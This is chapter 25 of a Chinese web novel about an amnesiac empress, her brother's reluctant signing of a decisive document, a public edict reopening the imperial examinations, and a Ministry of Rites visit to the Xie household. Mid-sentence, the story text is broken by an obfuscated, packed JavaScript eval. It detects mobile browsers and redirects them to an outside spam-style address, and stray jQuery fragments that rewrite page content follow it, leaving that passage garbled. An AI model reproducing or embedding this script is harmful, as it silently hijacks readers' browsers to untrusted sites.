25. 第 25 章

作品:《女帝失忆以后

    阳光从琉璃窗间穿过,洋洋洒洒地倾入一室,雁晴殿几日沉翳的气氛一扫而尽,整个浸润在温暖的冬阳中。新贡的沉水香燃了起来,浅淡宁神的香气在殿内缭绕,很是一派祥和。


    如此静谧中,姬子焕握笔的手微抖。


    抖着抖着,他不自在地扭一下右手手腕,脸上有视死如归的凄凉。


    算算时辰,一早出宫的传奉官们现在都已经在路上,以流星赶月之势带着恩科重启的旨意向大黎九道而去。要不了多久,传旨天使会将消息在市口广而告之,半天后,重开科举之事在京中就不再是新闻。


    消息飞快,传开必定不费多少时间。


    特别是,如今姬子焕面前还摆着一封文书。


    这文书一旦写成——


    姬子焕绝望地歪头:“姐,真要这么写?”


    一旁,姬盈少见地没有躺在贵妃榻上,而是站在姬子焕身边监工。见姬子焕磨磨蹭蹭,姬盈深深地呼进一口气,仍是破功:“之前怎么跟你说的?叫你写你就写,哪来这么多废话。”


    “可这,这,”姬子焕对着空白处,手抖得更厉害,“姐,你,你怎么不自己写?”


    这是什么活儿啊!


    姬子焕深深地怀疑,姬盈将自己推上监国辅政之位,就是为了当下的这一刻。


    他面前正摆着一份文书。上佳贡纸,格式规整,而文书内容,都由他亲爱的皇姐一字一句教他写成。姬子焕惯常听姬盈的话,早上皇姐到雁晴殿来让他写东西,便不疑有他,落笔就写。


    等他真的意识到自己写了什么,一切只剩落款。


    看着文书上短短的一段话,姬子焕顿觉触目惊心。


    “还是你来写吧,皇姐。”姬子焕将笔塞到姬盈手里。


    姬盈语塞,过一会道:“我失忆了,写不来。”


    姬子焕一副被糊弄成傻子的表情:“就算失忆了,总不能连自己的名字都不……”


    “啪”——脑瓜崩的声音。


    姬子焕被打懵。


    “姐,你——”


    “圣旨,这都不听?”姬盈威胁道,“好小子,批了几天折子,长本事了不?”


    姬子焕的苦瓜脸皱皱巴巴:“可这,我要是写了……”


    不得被某人打死吗!?


    以其人雷厉风行之速度,说不定现在就已经在路上了。文书还不等发下去,他姬子焕就得被谋杀。


    谋杀皇子,是什么后果来着……?


    “没事儿,你放心大胆地写。”姬盈咬牙。


    姬子焕哭丧着脸:“……我不当监国辅政了行不行。”


    姬盈狠狠锤一下他的后背:“多大点事儿!怎么这么没有担当!”


    “天底下最有担当的人就是皇姐了,连姐你都不敢担着,我……”


    “哎呀磨磨唧唧的,”姬盈受不了地抢过笔,“算了算了,我来写。”


    姬子焕眼也不眨地看着姬盈的笔尖。


    饱蘸墨汁的笔尖在白纸上方停了又停,落下去。


    锋利秀折的两个字。


    姬子焕憋了半晌,吐出一句:“好看。”


    姬盈:“没你难看。”


    姬子焕:“……”


    姬盈绷不住笑了一下:“开玩笑的。我弟弟最好看了。”


    白纸黑字映入眼中,姬盈脸上的笑没维持多久。她对着那文书凝了凝神,将笔递还给姬子焕。


    姬子焕接过笔,半晌无声。


    拟完这份文书,也算了结一件长久大事,两人脸上却都没什么轻松之意。姬子焕慢慢地低下头,嘴唇翕动许久,神情犹豫又犹豫。


    他小小声:“姐,真的要这样吗?”


    “哎呀,吞吞吐吐地干什么,”湿润的墨迹渐渐干燥,姬盈去取朱笔,“怎么还没失忆后第一次见你和我抢红薯时爽快。”


    “那怎么能一样!”姬子焕抢白。


    这封文书下去,便是木已成舟,再难有转圜余地。


    姬盈前尘尽忘,可姬子焕却还记得。姬盈失忆不过月余,这一纸文书却近乎将以往十几年的经历彻底否定。


    等她不久后记忆恢复,一定会进退两难。


    “……你会后悔的,姐,”姬子焕看着姬盈将文书递给聆春,最后一次出言阻止,“等你恢复记忆——”


    “没关系。”


    姬盈转过身来,朝他笑了笑。


    他看见姬盈一瞬空洞冷淡的眼神,恍惚如错觉。


    “别担心,我已经决定好了。


    一刻钟前,大黎京城,朱雀大街。


    两坊坊市前的布告栏从未如此热闹过。


    纵是无风无雪的天气,腊月中黎京的冬日也十分寒冷。尽管顶着冷冽的寒气,京内百姓还是一传十、十传百地从四方赶来,很快在坊市的布告栏前聚集成群。


    守城的武侯被紧急调来维持秩序。


    “不得喧哗!”


    “若有闯入界线内者,即刻投入大狱!”


    人群中喧闹渐歇。没能挤进前排的人一个个踮着脚,兴奋地期待前望,一颗颗脑袋紧挨着凑在一起。


    窃窃私语此起彼伏。


    “这次一定是好消息了!”


    “那当然!今一大早,我就看见数十名传旨天使驾着快马,从宫中带着加盖朱红大印的圣旨,沿着四条官道,分别向大黎九道而去。除了好消息,还有什么事儿值得像这样广而告之?”


    “三年了,终于等到了……”


    “何止三年!加上先帝在位后期,已经快要七年了。”


    武侯清场整列:“肃静!”


    人群噤声。一名太监在武侯们的簇拥下,手捧圣旨走到布告栏前的高台上。他环顾一圈,见众人眼中激动神色,颇为满意。于是便清了清嗓子,用高昂的声音向外道:“皇帝敕谕——”


    “惟科举之制,所以广揽贤才,共治天下。今欲开科举,以招天下英才,共襄盛世。所有士子,无论出身贵贱,皆可应考。乃分会试、殿试二级,进士、明经、明法、明算四科,永凤四年二月于京师举行会试,三月殿试。”


    “布告天下,咸使闻知。”


    太监读完圣旨,向躁动的人群继续安抚道:“这次开科举,陛下念及自庆晖年间以来不得参加科举的士子们,特地延长了报名时间。永凤四年正月前,只要是大黎良民,皆可报名参加会试。新元以来首次科举,诸位可千万莫要错过此等天赐良机。”


    人群中爆发出一声声欢呼。


    “陛下万岁!”


    “此次科举果然不论出身。多年苦学,终于等到今日!”


    望青书院的学子们也在人群中,彼此对视,脸上都有压抑不住的笑容。


    宣卿同徐承颜远远地站在一旁,两人虽然兴奋,但强自保持着矜持。


    徐承颜迎光一笑,开怀地向宣卿道:“子卿师兄,咱们得将这事儿赶快告诉公子,也让公子转换转换心情。望青书院开馆多年,终于等到重启恩科的一天。”


    宣卿点头:“一切如公子所料,永凤新元的恩科果然不拘身份,广纳寒门。”


    “不如我们现在赶快回去,”徐承颜看着欢呼着的望青书院学子,笑道,“今日公子不知什么时候会到书院来。要是书院里没个人影,岂不是偌大喜事无人分享。”


    “公子身为世家之后,却心甘情愿地为你我这些寒门中人开了这么多年的望青书院,”宣卿望向布告栏,目光中却有隐忧,“新旧交接,他身份又较为敏感,恐怕此后更加无法安稳。只是你我当下除了准备考试,也没有其他力能所及之事。”


    作为望青书院的主人,谢明渊自望青书院建立之时起,便雷打不动地每隔三日一坐馆。望青书院能在种种风雨中不被吞没,最大的仰仗便是背靠女帝和相府、又有第一公子之名的谢明渊。


    科举将近,望青书院再上风口浪尖。明明最该出现


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15560223|171382||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的时刻,这几日谢明渊却从未在书院中现身。


    ——山雨欲来。


    宣卿眸中忧色不散。


    布告栏前,人群仍然雀跃叫喊,一派欢欣鼓舞之相。传旨太监扬了扬头,脸上有着共沐圣恩的骄矜:“回宫。”


    与此同时,谢府。


    礼部官员送通报函进谢府的时候,谢明渊罕见地不见人影,偌大偏院除了两个看管的仆从,静得一丝风声也无。


    小厮将侧门打开,便见一位身着官服的年轻小官。


    “谢公子不在吗?”小官贼头贼脑地探头。


    小厮将门开得更宽,迎人进府:“公子今天似乎与人有约,一早便出门了。您是?”


    小官爽朗一笑:“给礼部跑腿的。这里有封通报函,礼部加急送到谢府上,请谢明渊公子知。谢公子什么时候回来?要是时间不长,我就在这里等等。实在不成,劳烦将谢公子所在之处告知在下,我再跑一趟送到他手里。”


    小厮为难地看他一眼,又望了望天色。天色白得澄明,正是晴空午后。


    一早,谢明渊带着侍从驭马出发,自出府后一直未归。临行之前,谢明渊同小厮交待了去向。


    “公子他……他……”


    对着礼部官员,小厮眼神闪烁,嘴唇打架。


    “万花楼”三个字,到底怎么向外人开口啊?!


    “您……要不还是在府上等等,”小厮心一横,咬牙向他道,“公子出门出得早,应该不会回得太晚。要是事情实在紧急,我这就叫人去请公子回府。”


    小官摇摇头道:“倒也没有那么急,而且算是一桩极佳的好事,不至于让谢公子匆忙回府。听小兄弟你的,在下在谢府叨扰一会。”


    两人进了会客室,刚要松一口气,外面咚咚的叩门声又响起来。


    “谢公子这么快就回府了?”小官站起。


    小厮向门而去:“小的这就去看看。”


    一开门,却是个意想不到的人物——望青书院管事,韩随竟在门外。


    韩随不请自入:“公子在否?”


    小厮愣愣地答:“不在。”


    “在下礼部通函,这位是?”小官从偏室中走了出来。


    韩随只怔了一瞬,立即拱手道:“原是礼部的大人,在下望青书院管事韩随。敢问大人也是来寻谢明渊公子的?”


    小官笑着:“大人不敢当,只是个‘小人’罢了。久仰韩管事大名,终得一见,果然不凡。在下恭喜望青书院,恭喜韩管事,望青书院有谢公子坐镇,不日将一飞冲天。”


    “这……谢谢,谢谢大人美言。”


    “韩管事客气。”小官笑得真诚。


    韩随木然陪笑,心下却摸不着头脑。


    他来谢府找谢明渊,是为与谢明渊商量来年科举之事。


    午前公布科举再开的消息,虽说是广纳寒门,但于望青书院来说,荐书仍是大个问题。无他,只因虽然科举开放,但荐书这道流程,却没有提过废除。


    偌大黎京,放眼望去,官身如蚁,满城高门。寒门世家天生对立,此次科举,望青书院无疑身处风口浪尖,不见得有任何世家愿意损害群体利益,对他们伸出援手。即使侥幸找到盟友,世家侯爵、朝廷重臣,无论请了哪位,于望青书院而言,都等同于拉对方插手新旧之争。


    牵一发动全身,他们不能轻举妄动,但若学子全员都由谢明渊举荐,恐生不妥。


    为什么礼部官员敢断言,有谢明渊在,望青书院就能“一飞冲天”?


    礼部官员和韩随一个含蓄笑着,一个莫名陪笑,气氛颇为诡异。


    “哒哒、哒哒——”马蹄声突然急促地自远方响起。


    小厮静听片刻,面色一喜。


    他急急忙忙向路上去,向远方摇了摇手。


    “公子——!”


    小厮挥手不停。


    人影没有回应,马蹄声却更快了些。